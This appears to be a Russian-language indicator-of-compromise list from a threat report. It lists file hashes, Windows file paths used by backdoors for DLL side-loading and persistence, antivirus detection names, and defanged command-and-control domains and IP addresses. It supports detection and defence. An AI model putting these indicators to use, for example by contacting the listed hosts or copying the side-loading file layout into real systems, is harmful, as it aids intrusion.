0A2E7C01B847D3B1C6EEBE6AF63DC140 0A945587E0E11A89D72B4C0B45A4F77E 10818F47AA4DC2B39A7B5EEF652F3C68 1157132504BE3BF556A80DB8A2FF9395 11955356232DCF6834515BF111BB5138 11BA5665EC1DBA660401AFDE64C2B125 17FA7898D040FA647AFA4467921A66CF 180EE3E469BFCFC079E1A46D16440467 1EA58FF469F5EE0FDCF5B30FC19E4CB8 216D9F82BA2B9289E68F9778E1E40AC9 29B62694DC9F720BD09438F37B7B358A 3953EB8F7825E756515BE79EF45655B0 3A13B99B2567190AB87E8AB745761017 40EB08F151859C1FE4DC8E6BC466B06F 413FA4AD3AFE00B34102C520A91F031C 4866622D249F3EA114495A4A249F3064 4AD1AD14044BD2C5A5C5E7E7DD954B23 4D42C314FF4341F2D1315D7810BD4E15 51367DC409A7A7E5521C2F700C56A452 51BEFD74AC3B8943DA58C841017A57A8 56AF3279253E4A60BD080DD6A5CA7BA8 5EA338D71D2A49E7B3259BC52F424303 5EB42E1BA99FACE02CE50EA1AAF72AB5 6038583B155F73FAF1B5EF8135154278 64EF950D1F31A41FE60C0FD10CA46109 6652923CE80A073FD985E20B8580E703 6BDF1C294B6A34A5769E872D49AFD9E7 6DFC3BDD2B70670BF29506E5828F627E 70DA6872B6B2DA9DDC94D14B02302917 7101FE9E82E9B0E727B64608C9FD5DF1 7C383C9CA29F78FCC815EAEA9373B4BB 7FE40325F0CEF8A32E69A6087EBC7157 84DF335EBC10633DA1524C7DBB836994 87AA0BEDF293E9B16A93E4411353F367 94AF1B400FDBDEBD8EDA337474C07479 AA7231904A125273F5E5EE55A1441BA4 AB26F4C877A7357CABF95FB5033A5BEF AB55A08ED77736CE6D26874187169BC9 AE11F7218E919DF5B8A9A2C0DC247F56 B2C9F5CAE72AF5A50940D55BB5B92E98 C6D6CFFD56638A68A0DE11035B9C9097 CBECDFA1D0708D60500864A2A9DE4992 CCC9482A7BEE777BBB08172DCCDAB8AA D394F005416A20505C597ECF7882450F D44A276529343F7AC291AD7AD0B99378 D669B03807102B4AF87B20EC3731909A DA765E4E6B0D2544FE3F71E384812C40 E005F5DA3BA5D6726DA4E6671605B814 E2A3CD2B3C2E43CA08D2B9EE78D4919B E8800D59C411A948EE966FF745FBD5C9 E8A16193BCD477D8231E6FC1A484DC8A EBCFFECE1B1AF517743D3DFFDE72CB43 F01A9A2D1E31332ED36C1A4D2839F412 FB2B4C9CA6A7871A98C6E2405E27A21F FF6D8578BE65A31F3624B62E07BEF795 6860189B79FF35199F99171548F5CD65 9EC56A18333D4D4E4D3C361D487C05BD E5B6571E1512D3896F8C2367DDC5A02D 7CB0D8CFFE48DF7B531B6BEDE8137199 86BB8FA0D00FD94F15AE1BD001037C6C 9F5BBA1ACEF3CCBBDC789F8813B99067 4EA2B943A1D9539E42C5BDBA3D3CA7A0 5934B7E24D03E92B3DBACBE49F6E677C C8F13C9890CEB695538FDC44AD817278 BABDF6FA73E48345F00462C3EF556B86 CBB7E0B8DDE2241480B71B9C648C1501
Пути к файлам
C:\1\mcinsupd.cfg C:\1\mcinsupd.exe C:\1\mytilus3.dll C:\1C\ace.exe C:\2\LiveUpdate.exe C:\2\safestore64.dll C:\3\mcinsupd.cfg C:\3\mcinsupd.exe C:\3\mytilus3.dll C:\4\LiveUpdate.exe C:\4\safestore64.dll C:\Microsoft\MF\Instsrv.exe C:\Microsoft\MF\wus.dll C:\ProgramData\1C\ace.exe C:\ProgramData\2GIS\!research\Remediation.exe\winhelp.tmp C:\ProgramData\2GIS\conhost.exe C:\ProgramData\2GIS\conhost.exe.cab C:\ProgramData\2GIS\ps.cab C:\ProgramData\2GIS\Remediation.exe C:\ProgramData\2GIS\Remediation.exe.cab C:\ProgramData\2GIS\research\conhost.exe C:\ProgramData\2GIS\research\Ps.exe C:\ProgramData\2GIS\research\Remediation.exe C:\ProgramData\AADConnect\1.bat C:\ProgramData\AADConnect\bdtkexec.cfg C:\ProgramData\AADConnect\PtWatchDog.exe C:\ProgramData\AADConnect\TmDbgLog.dll C:\ProgramData\Adobe\ARM\mcsync.exe C:\ProgramData\Adobe\ARM\mcsync.log C:\ProgramData\Adobe\ARM\McUtil.dll C:\ProgramData\Apple\asOELnch.exe C:\ProgramData\Apple\ccLib.dll C:\ProgramData\Apple\NordLnch.cfg C:\ProgramData\ASUS\ALL\mcsync.exe C:\ProgramData\ASUS\ALL\mcsync.log C:\ProgramData\ASUS\ALL\McUtil.dll C:\ProgramData\Intel\hccutils.dll C:\ProgramData\Intel\hkcmd.exe C:\ProgramData\Intel\hkSetting.cfg C:\ProgramData\Microsoft\AppV\hccutils.dll C:\ProgramData\Microsoft\AppV\hkcmd.exe C:\ProgramData\Microsoft\AppV\hkSetting.cfg C:\ProgramData\Microsoft\Crypto\RSA\asOELnch.exe C:\ProgramData\Microsoft\Crypto\RSA\ccLib.dll C:\ProgramData\Microsoft\Crypto\RSA\mcsync.exe C:\ProgramData\Microsoft\Crypto\RSA\mcsync.log C:\ProgramData\Microsoft\Crypto\RSA\McUtil.dll C:\ProgramData\Microsoft\Crypto\RSA\NordLnch.cfg C:\ProgramData\Microsoft\DRM\LiveUpdate.exe C:\ProgramData\Microsoft\DRM\mcinsupd.cfg C:\ProgramData\Microsoft\DRM\mcinsupd.exe C:\ProgramData\Microsoft\DRM\mytilus3.dll C:\ProgramData\Microsoft\DRM\safestore64.dll C:\ProgramData\Microsoft\MF\Instsrv.exe C:\ProgramData\Microsoft\MF\wus.dll C:\ProgramData\Microsoft\uconhost.exe C:\ProgramData\Oracle\ace.exe C:\ProgramData\sh.exe C:\Users\Default\AppData\Roaming\winset\LiveUpdate.exe C:\Users\Default\AppData\Roaming\winset\safestore64.dll C:\Windows\System32\Tasks\GUP C:\Windows\System32\Tasks\hkcmd C:\Windows\System32\wam.dll C:\Windows\System32\wus.dll C:\Windows\SysWOW64\wus.dll C:\Windows\Temp\conhost.dll C:\Windows\Temp\conhost.exe C:\Windows\Temp\mcoemcpy.exe C:\Windows\Temp\McoemcpyRun.log C:\Windows\Temp\McUtil.dll C:\Windows\Temp\McUtil.dll.cab C:\Windows\Temp\net.log C:\Windows\Temp\smcw.dll C:\Windows\Web\1.bat C:\Windows\Web\1\hccutils.dll C:\Windows\Web\1\hkcmd.exe C:\Windows\Web\1\hkSetting.cfg C:\Windows\Web\ace.exe C:\Windows\Web\Ladon.exe C:\Windows\Web\wmic.vbs C:\ProgramData\Microsoft\Network\Downloader\Client.cfg C:\ProgramData\Microsoft\Network\Downloader\Update.exe C:\ProgramData\mc.cab C:\ProgramData\my_capture.exe %AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MpClient.dll %AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MsMpEng.exe %AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSCAL.OCX %AppData%\Roaming\Microsoft\MsMpEng.exe C:\ProgramData\temp\wcrypt32.dll C:\ProgramData\temp\wmic.dll C:\ProgramData\ABBYY\FineReader\Client.cfg C:\ProgramData\ABBYY\FineReader\debug.log C:\ProgramData\ABBYY\FineReader\OEMPRINT.CAT C:\ProgramData\ABBYY\FineReader\Update.exe C:\ProgramData\ABBYY\FineReader\WINWORD.EXE_ C:\Windows\Temp\Client.cfg C:\ProgramData\Adobe\Setup\mcinsupd.exe C:\ProgramData\Adobe\Setup\mcinsupd.cfg
Вердикты защитных решений
Backdoor.Win32.Agent.myuhpj Backdoor.Win32.Agentb.ca Backdoor.Win32.Agentb.cc Backdoor.Win32.CotSam.a Backdoor.Win64.Agent.iwv Backdoor.Win64.Agent.iwy Backdoor.Win64.Agent.iwz Backdoor.Win64.Agent.ixl Backdoor.Win64.Agent.ixm HackTool.Win64.Agent.hk HEUR:Trojan.Win32.APosT.gen not-a-virus:NetTool.Win32.NbtScan.a Trojan.Win32.Agentb.kpkq Trojan.Win32.APosT.mim Trojan.Win32.APosT.min Trojan.Win32.APosT.mxw Trojan.Win64.Agent.qwhymc Trojan.Win64.Agent.qwhypj Trojan.Win64.Agentb.bdq Trojan.Win64.Agentb.bse Trojan.Win64.Agentb.bsf Trojan.Win64.Dllhijacker.km Trojan.Win64.Dllhijacker.ks Trojan.Win64.DllHijacker.qq HEUR:Backdoor.Win32.CotSam.gen Backdoor.Win64.CotSam.a
Доменные имена и IP адреса
www1.nppnavigator[.]net www3.vpkimplus[.]com 45.151.180[.]178 custom.songuulcomiss[.]com tech.songuulcomiss[.]com video.nicblainfo[.]net 160.202.162[.]122 doc.redstrpela[.]net fax.internnetionfax[.]com www2.defensysminck[.]net info.ntcprotek[.]com www1.dotomater[.]club 192.248.182[.]121 www2.sdelanasnou[.]com 54.36.189[.]105 5.180.174[.]10 45.63.27[.]162 server.dotomater[.]club